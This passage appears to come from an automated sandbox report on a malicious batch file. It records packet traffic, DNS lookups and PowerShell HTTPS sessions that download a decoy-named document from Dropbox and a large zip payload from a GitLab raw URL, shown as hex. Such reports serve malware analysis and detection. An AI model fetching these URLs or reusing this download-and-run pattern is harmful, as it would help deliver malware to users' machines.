Dec 6, 2024 15:52:03.049671888 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.053921938 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.053951979 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.053989887 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.054018974 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.054025888 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.054065943 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.055000067 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.055049896 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.062464952 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.062484980 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.062541008 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.062556028 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.068952084 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.068978071 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.069050074 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.069067955 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.069084883 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.073177099 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.073227882 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.073250055 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.073263884 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.073278904 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.073299885 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.079344988 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.079365015 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.079421997 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.079437017 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.079459906 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.079482079 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.228785038 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.228809118 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.228938103 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.228960991 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.229012966 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.234239101 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.234258890 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.234348059 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.234355927 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.234397888 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.240415096 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.240437031 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.240510941 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.240519047 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.240561008 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.246121883 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.246143103 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.246248960 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.246258020 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.246299028 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.253671885 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.253695011 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.253766060 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.253774881 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.253818035 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.259486914 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.259511948 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.259548903 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.259556055 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.259584904 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.259619951 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.265311003 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.265331984 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.265396118 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.265410900 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.265451908 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.270737886 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.270762920 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.270808935 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.270822048 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.270863056 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.270881891 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.421056032 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.421082973 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:52:03.421230078 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:52:03.421260118 CET	443	49705	172.65.251.78	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 15:51:41.119631052 CET	192.168.2.5	1.1.1.1	0xda07	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 15:51:44.055787086 CET	192.168.2.5	1.1.1.1	0x4769	Standard query (0)	ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 15:51:48.471528053 CET	192.168.2.5	1.1.1.1	0xe2ee	Standard query (0)	gitlab.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 15:51:41.476217985 CET	1.1.1.1	192.168.2.5	0xda07	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 15:51:41.476217985 CET	1.1.1.1	192.168.2.5	0xda07	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 6, 2024 15:51:44.466134071 CET	1.1.1.1	192.168.2.5	0x4769	No error (0)	ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 15:51:44.466134071 CET	1.1.1.1	192.168.2.5	0x4769	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 6, 2024 15:51:48.610300064 CET	1.1.1.1	192.168.2.5	0xe2ee	No error (0)	gitlab.com		172.65.251.78	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	162.125.69.18	443	1436	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:51:42 UTC	184	OUT	GET /scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1 HTTP/1.1 Host: www.dropbox.com Connection: Keep-Alive
2024-12-06 14:51:44 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; font-src https://* data: ; media-src https://* blob: ; img-src https://* data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://*.dropboxusercont [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com/cd/0/get/CftzJ156MPdShYtutsNwgCjD0-C-rjtDLu3WhCKExfFkuAg4AcFbgzpRI_snZ4mnk870yJO1pExXNxglnxiPydxe0LhS0fsW99Nejue9ri4vDjgrLXqBHUVh1v2NOkb4lGzBc6pxGrMa9m6MXw5nF1ky/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTI1OTU3MTUwNzEyNDMzMjE0OTYyMDQ2MDkwMjkxNzE5NzUyNjA5; Path=/; Expires=Wed, 05 Dec 2029 14:51:43 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=eDIdsWcpN3KrCNc70eGlJT8g; Path=/; Domain=dropbox.com; Expires=Sat, 06 Dec 2025 14:51:43 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=eDIdsWcpN3KrCNc70eGlJT8g; Path=/; Expires=Sat, 06 Dec 2025 14:51:43 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=Z8Sp_iAuCI; Path=/; Expires=Sat, 06 Dec 2025 14:51:43 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Wed, 05 Dec 2029 14:51:43 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Fri, 06 Dec 2024 14:51:43 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 0572e0a2dcd945dbb3f5a7d3d84caf9c Connection: close
2024-12-06 14:51:44 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.65.251.78	443	4980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:51:49 UTC	100	OUT	GET /jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip HTTP/1.1 Host: gitlab.com Connection: Keep-Alive
2024-12-06 14:51:50 UTC	454	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:51:50 GMT Content-Type: application/octet-stream Content-Length: 68971427 Connection: close CF-Ray: 8edd18a63e13c34b-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Age: 44 Cache-Control: max-age=60, public, must-revalidate, stale-while-revalidate=60, stale-if-error=300, s-maxage=60 Content-Disposition: attachment ETag: "4b50dfe4f7bdc00c07c1700272817613" Strict-Transport-Security: max-age=31536000
2024-12-06 14:51:50 UTC	2131	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/
2024-12-06 14:51:50 UTC	502	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 34 45 72 6f 45 34 56 41 52 54 50 33 31 49 33 4a 32 72 65 6d 38 64 56 63 58 69 51 47 50 6d 6f 4c 25 32 46 39 51 25 32 46 52 72 66 30 6a 48 37 56 68 72 51 72 66 79 25 32 46 32 35 7a 37 6e 65 51 58 36 57 77 7a 74 6a 4e 37 36 6a 52 55 6e 49 68 56 38 4a 33 4c 30 59 79 45 66 71 25 32 46 35 4c 57 42 6d 4f 43 4c 6c 79 52 61 6b 58 6d 39 49 71 6f 4c 72 77 45 34 6d 51 43 63 44 44 31 62 67 53 6d 6a 45 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4EroE4VARTP31I3J2rem8dVcXiQGPmoL%2F9Q%2FRrf0jH7VhrQrfy%2F25z7neQX6WwztjN76jRUnIhV8J3L0YyEfq%2F5LWBmOCLlyRakXm9IqoLrwE4mQCcDD1bgSmjE%3D"}],"group":"cf-nel","max_age":604800}NEL
2024-12-06 14:51:50 UTC	1020	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 5c b1 46 58 b9 e1 db da 47 27 00 00 0a 90 00 00 0b 00 00 00 4c 49 43 45 4e 53 45 2e 74 78 74 dc 5c 5d 73 db b8 92 7d 47 15 ff 03 4a 2f b1 eb d2 8c e5 4c 32 93 49 6d ed ca 12 6d f3 ae 2d 79 29 29 99 dc a7 4b 49 90 85 09 45 68 08 d2 1a cd af df ee 06 c0 0f 59 76 ec cc 57 ed 2a 55 8a 44 11 8d 46 a3 d1 7d 4e 03 74 2f e0 57 d1 78 32 8a 3f f3 d1 05 9f 5c 85 7c 3c ba 98 7c ea c5 a1 c7 fe e3 d1 97 c7 3c 76 bb 2b 56 2a e3 db 44 f3 79 2e 92 42 2c b8 cc 78 b1 12 5c 24 79 ba e3 dd f7 ef 4f 35 9f ed f8 65 29 17 8a df 27 19 8f 95 d6 e5 9a 27 05 1f 17 72 be 2a 64 76 e7 b1 9b 04 da ac 93 42 ea f9 8a f7 45 56 e4 70 cb 51 ff 53 e4 73 2d 04 5f 15 c5 46 ff f8 fa f5 76 bb 0d e6 5b 19 64 e9 b1 eb 67 28 e0 3d 4f 93 6c a1 3d 06 6a 24 5c 97 f3 b9 d0 Data Ascii: PK\FXG'LICENSE.txt\]s}GJ/L2Imm-y))KIEhYvWUDF}Nt/Wx2?\\|<\|<v+VDy.B,x\$yO5e)''r*dvBEVpQSs-_Fv[dg(=Ol=j$\
2024-12-06 14:51:50 UTC	1369	IN	Data Raw: ce 5e 15 10 52 12 4c c5 90 c3 b6 e2 15 06 7e a9 6d 5a cc ee 5c 54 81 98 29 72 a3 12 ae 4d 90 04 21 a1 11 75 52 39 87 80 22 20 3a 97 59 2a bf 08 77 97 cf 53 51 f0 9d 2a 6b a9 c2 88 49 20 86 2c 20 4c 8a 85 4b 57 7c 2b 31 53 83 42 c9 17 ec 1a 5a e5 7c be 82 f4 0f 1e 84 01 8b db 88 c5 f9 64 65 a5 ec 0d c9 a9 81 22 04 26 fc 0d 80 15 fa a5 c0 0c be 9e c9 ac ca 08 d8 9b 11 42 49 9f bb 1c 69 4c 21 75 9d 56 69 f0 6e 44 26 70 19 9c 00 26 04 03 52 60 02 0f e7 bd 39 24 ce 05 aa 0e bd c5 90 a4 92 7c 01 20 09 a2 23 c0 0d df 2e 1e a9 29 64 b6 15 f7 8d 22 98 d3 4a 8d 8a 6b 37 14 be a2 0c 30 5f 29 f8 8e 61 3f 4d b6 7c 9e e2 6d 01 6f f5 68 44 18 48 b1 52 5b 84 02 7e d5 fb 2b 8d 0d 77 22 27 79 85 4a 17 74 67 7d 99 06 4d 1a 1a 39 a0 66 27 53 84 98 2a 2d 3b 64 33 67 08 1a f6 Data Ascii: ^RL~mZ\T)rM!uR9" :YwSQkI , LKW\|+1SBZ\|de"&BIiL!uVinD&p&R`9$\| #.)d"Jk70_)a?M\|mohDHR[~+w"'yJtg}M9f'S*-;d3g
2024-12-06 14:51:50 UTC	1369	IN	Data Raw: 30 8e 3e 82 9d 3f 86 68 99 38 1c 5d f8 3c fc 18 0e 79 74 c1 7b 83 8f d0 70 e0 6a 91 60 c6 71 64 8d 6e ef 25 8b bc 73 69 f4 41 20 dc ca 94 ea 77 0a 2b 8a 54 71 a0 64 03 39 ab 80 28 bc 41 3f 04 87 85 4b 32 49 c1 0f 73 91 cc 57 18 2c 31 89 1d ca 4a d4 dd f7 01 1f c2 b2 43 2f a7 d2 e3 c1 9e f5 0a 7a 83 1c ce 17 78 81 2a 50 a6 ac 83 6b 8d 6a 1b a6 0a b5 92 1b aa 4e de 89 6c be f3 29 20 64 22 c7 cb 3e 06 89 9f 15 c0 1d 8e f1 a7 cc 45 05 09 70 fe 29 d9 56 01 8b 3f 66 01 e4 66 c4 13 28 51 62 3e 5b 4b ad 2d 44 a6 3c 34 be 80 d5 9d 27 0b 01 6b fd 8b c6 4e e9 1b cf 92 b5 89 0d bc fa 95 6b 97 32 45 b6 50 b9 a6 d8 0a 71 67 ad 90 8c 99 24 5a 90 08 0c cc a0 0b a5 71 a7 a4 ef a2 1e 98 2c 5f d0 50 77 64 d0 1f 02 7e be a3 04 05 36 f5 a1 4f 5d 58 5c 86 a5 db 46 d6 ac 03 8b Data Ascii: 0>?h8]<yt{pj`qdn%siA w+Tqd9(A?K2IsW,1JC/zx*PkjNl) d">Ep)V?ff(Qb>[K-D<4'kNk2EPqg$Zq,_Pwd~6O]X\F
2024-12-06 14:51:50 UTC	1369	IN	Data Raw: 93 ca 9d 71 88 8e 13 19 be 85 f1 01 9c dd ac 34 ff ce e7 6f 4d 92 f9 fe 71 24 fc 90 75 7b ec 85 fb 11 fb ac db 63 2f db 8f a0 40 76 80 73 7b ec 1b 36 24 48 58 8b 71 7b ec 9b 76 24 9a 84 db 63 df b2 23 01 fe 41 39 d1 2e cb 0e 9e 09 ba 9d 74 f0 b8 2a 12 32 73 6e 5a 66 0b 49 b8 8b a4 cd 6a 12 ec b1 e7 ec 64 d8 d8 59 67 d7 26 09 f6 d8 8b 59 30 6f 93 60 77 96 cf a8 6e 69 f1 a7 af b0 62 73 1e 75 72 15 8f a6 97 57 78 a0 f4 d9 0c b9 f1 a2 9e 9a 94 82 8e b2 f2 13 7b 18 be 3a f3 cf 0f 1e f9 ef ad 01 93 e6 8b 64 ed 9b 73 3c 8d d3 fd f6 c0 60 6e 0e 01 e4 96 61 d0 68 6f f7 bd c9 a7 d9 f0 cd 11 c1 9d 59 4b 75 68 d8 3b e3 62 89 eb fe 26 c3 d2 41 bf 12 02 91 36 b7 b9 13 86 4b 41 15 ef 26 0b 15 8b 46 dd bc ae 96 9b 83 97 75 44 b7 4c 0c 02 34 9e 34 36 75 39 fc 59 0a 33 c3 Data Ascii: q4oMq$u{c/@vs{6$HXq{v$c#A9.t*2snZfIjdYg&Y0o`wnibsurWx{:ds<`nahoYKuh;b&A6KA&FuDL446u9Y3
2024-12-06 14:51:50 UTC	1369	IN	Data Raw: 07 77 0b 3d 26 97 a6 6c 9f 2f e5 4d fa 76 d4 27 3e fb ee 04 37 5f f9 3f cb 54 e2 13 ed 10 e2 c0 20 0b c3 50 d9 3e 43 65 fb 21 c8 66 d6 c6 09 38 bc d2 d8 4b d5 fe 3e 44 64 e6 61 b7 79 43 29 e2 45 05 8e a6 1d 7d da fb 29 75 c5 80 61 a3 b5 28 7e 64 b8 99 dd 56 89 ca 09 56 17 4a 9f 36 e9 20 8b 3b 44 63 19 e7 36 56 f9 34 df f4 88 8d d9 5e 74 dd 55 db d1 b5 2e d0 e3 3c 4d 60 f5 e6 60 93 33 e3 9e 0a e4 c9 0c 9b b6 31 33 29 60 f9 26 a0 6f dc a3 05 7b 22 2e fe 50 67 45 ab 06 27 a9 75 ec dd 62 a2 e3 45 25 3d 49 2b b9 f8 74 b7 01 01 38 01 d4 25 0a 69 1e 4a 4c 5c 01 09 5d 82 27 73 dc 12 4b c5 e2 8e ca 58 d6 1c f6 0e 6a db ae 1a 6c 55 09 89 64 46 64 3c 17 d6 dd f0 39 67 fb dc 9e cd 9a e8 15 6f 02 b3 8b 29 16 ce f4 d5 73 f7 34 3a 10 02 81 4c 62 20 31 eb 05 57 0e 56 7e Data Ascii: w=&l/Mv'>7_?T P>Ce!f8K>DdayC)E})ua(~dVVJ6 ;Dc6V4^tU.<M``313)`&o{".PgE'ubE%=I+t8%iJL\]'sKXjlUdFd<9go)s4:Lb 1WV~
2024-12-06 14:51:50 UTC	1369	IN	Data Raw: 63 78 f5 c5 2e 4a 90 db a1 a9 41 d5 14 7d ed fe a6 f3 2e d4 da 35 e0 94 e1 5f d7 28 78 84 03 58 17 bc d5 95 56 43 41 bb 59 a1 a1 40 17 b0 9a 2c c6 b7 ce 62 83 45 e8 d0 13 99 a8 84 75 b1 d9 36 c6 a2 b1 ec 9f e3 75 3e 64 1f 8c 28 fc 1d 05 c6 81 27 74 c8 ae 1d 00 02 01 34 a5 47 d6 cb a8 85 47 73 d9 5c f8 9b 92 7f 84 b6 79 dc c4 0b 1e ca e2 49 0a 91 de 5c 21 42 5a c0 01 ab 91 3d 9e eb 06 61 37 03 33 4d c5 c7 d3 55 cf 57 90 92 9e e9 55 91 a7 dd ee 26 9e fb c7 ba f9 3c 50 14 d4 4d 6f cd ea 09 f6 5d 38 12 85 f6 23 0b 07 82 04 c8 73 eb 41 78 03 6a e8 54 ad b4 36 a0 3d b0 ba 46 e8 0c 0c 25 51 7b d6 18 02 5d d3 75 70 fb ac 60 76 c2 af d0 38 c8 2b e9 c2 92 16 06 1c ca 56 ea e1 cd 8d 77 be 8b 5b 6a 72 36 b3 a2 38 0a 80 2a 90 4a 3b ed ef 05 18 66 5c 10 2c 01 21 45 82 Data Ascii: cx.JA}.5_(xXVCAY@,bEu6u>d('t4GGs\yI\!BZ=a73MUWU&<PMo]8#sAxjT6=F%Q{]up`v8+Vw[jr68*J;f\,!E
2024-12-06 14:51:50 UTC	1369	IN	Data Raw: cc 57 70 7b 98 1d e8 46 85 0b ba 0a 2b 77 2d 1d d6 76 a8 2f 68 2e 29 c1 7a 1e 20 5d 4b 67 5c d0 a3 d2 c5 6d a7 f0 43 7f 2f 59 3a f5 ba 77 80 bd 05 e5 87 7d 29 8c e6 c2 65 10 78 90 52 bc bf da 3b b9 f8 49 28 0e b6 5b 74 d2 7b 48 a1 62 1d b4 0f dc a9 1b a4 b2 67 80 ba c9 46 44 9d 8b 5d 68 e2 66 8b dd 3e 49 ad fb c7 06 ad 0c 28 b5 c6 25 c3 ea a6 27 58 dd a4 2b 54 41 cc 0f 6a 27 a9 56 84 30 20 b0 f8 a0 d4 46 64 6d 96 1d 2d 0c f2 c5 35 72 98 97 c6 f7 05 3b a6 c7 10 ed 05 4e 8b 1a 47 d5 85 2b 25 5f ad e0 ff 1b 70 94 ec d6 b4 64 84 7b 96 d2 43 0e 05 f5 9c da b4 d8 ec c1 4c 0b 5d 31 88 92 ac 56 ae 5a 6d af c5 c8 8d 76 8e 68 1a 54 2b ba a8 03 35 87 52 ce 03 5c 7b f4 60 e5 15 63 69 d0 56 68 b6 83 8d 48 c2 d9 9f 23 19 15 94 6a 53 b2 72 b9 55 00 fd 3d ba 2f ed 8a 00 Data Ascii: Wp{F+w-v/h.)z ]Kg\mC/Y:w})exR;I([t{HbgFD]hf>I(%'X+TAj'V0 Fdm-5r;NG+%_pd{CL]1VZmvhT+5R\{`ciVhH#jSrU=/
2024-12-06 14:51:50 UTC	1369	IN	Data Raw: a5 47 8c cc 36 97 eb 1e 54 b3 f1 ae b1 4d 75 70 16 c7 fa 69 a4 77 b6 d3 b0 6e 35 a1 ec 6e 3d 75 10 46 1f 54 d3 0e 7a 08 8e b4 cc e0 e3 4c 6f 44 08 1c cc a6 77 9c 06 a8 76 91 7b d8 42 4b 7f 4d b2 87 7a 4e 6d 0f 89 5b 9e 73 4e 52 a5 1f d9 db 40 31 aa 9e 41 28 c1 96 3e 44 f4 ab 75 7c c9 27 b3 72 e2 f6 7d c3 3d 5a 34 b2 40 24 e6 0a 2e 78 50 13 b4 63 70 34 62 30 6c 1e 36 ec b9 ab 5c 2f 0e 4e 75 d1 95 fb c2 0f 23 22 b2 a4 2f b4 06 64 93 74 a1 2a 9a b6 c3 0e af 30 33 54 19 b0 79 28 b8 84 94 c8 7a a1 43 79 2f d2 59 d1 b2 e7 11 c8 f9 f2 5c fb ad 7d a2 fe 17 c3 8a 17 ad 72 b1 a5 2f fb ba 03 4c 12 c1 35 8f 17 75 d8 5e 1f 97 17 71 b7 88 b1 ce d0 17 c3 1e 66 76 66 6f 0f 7f 3b f6 d3 39 3e eb 95 86 4c 92 3b 6a 43 26 70 fc 0c 91 08 4d 0c bf c0 19 bf 3e 79 e5 e5 f8 49 cb Data Ascii: G6TMupiwn5n=uFTzLoDwv{BKMzNm[sNR@1A(>Du\|'r}=Z4@$.xPcp4b0l6\/Nu#"/dt*03Ty(zCy/Y\}r/L5u^qfvfo;9>L;jC&pM>yI

Target ID:	0
Start time:	09:51:36
Start date:	06/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\kjhsdg.bat" "
Imagebase:	0x7ff6eecd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	09:51:36
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:51:36
Start date:	06/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp.com 437
Imagebase:	0x7ff677330000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:51:36
Start date:	06/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c type tmp
Imagebase:	0x7ff6eecd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:51:36
Start date:	06/12/2024
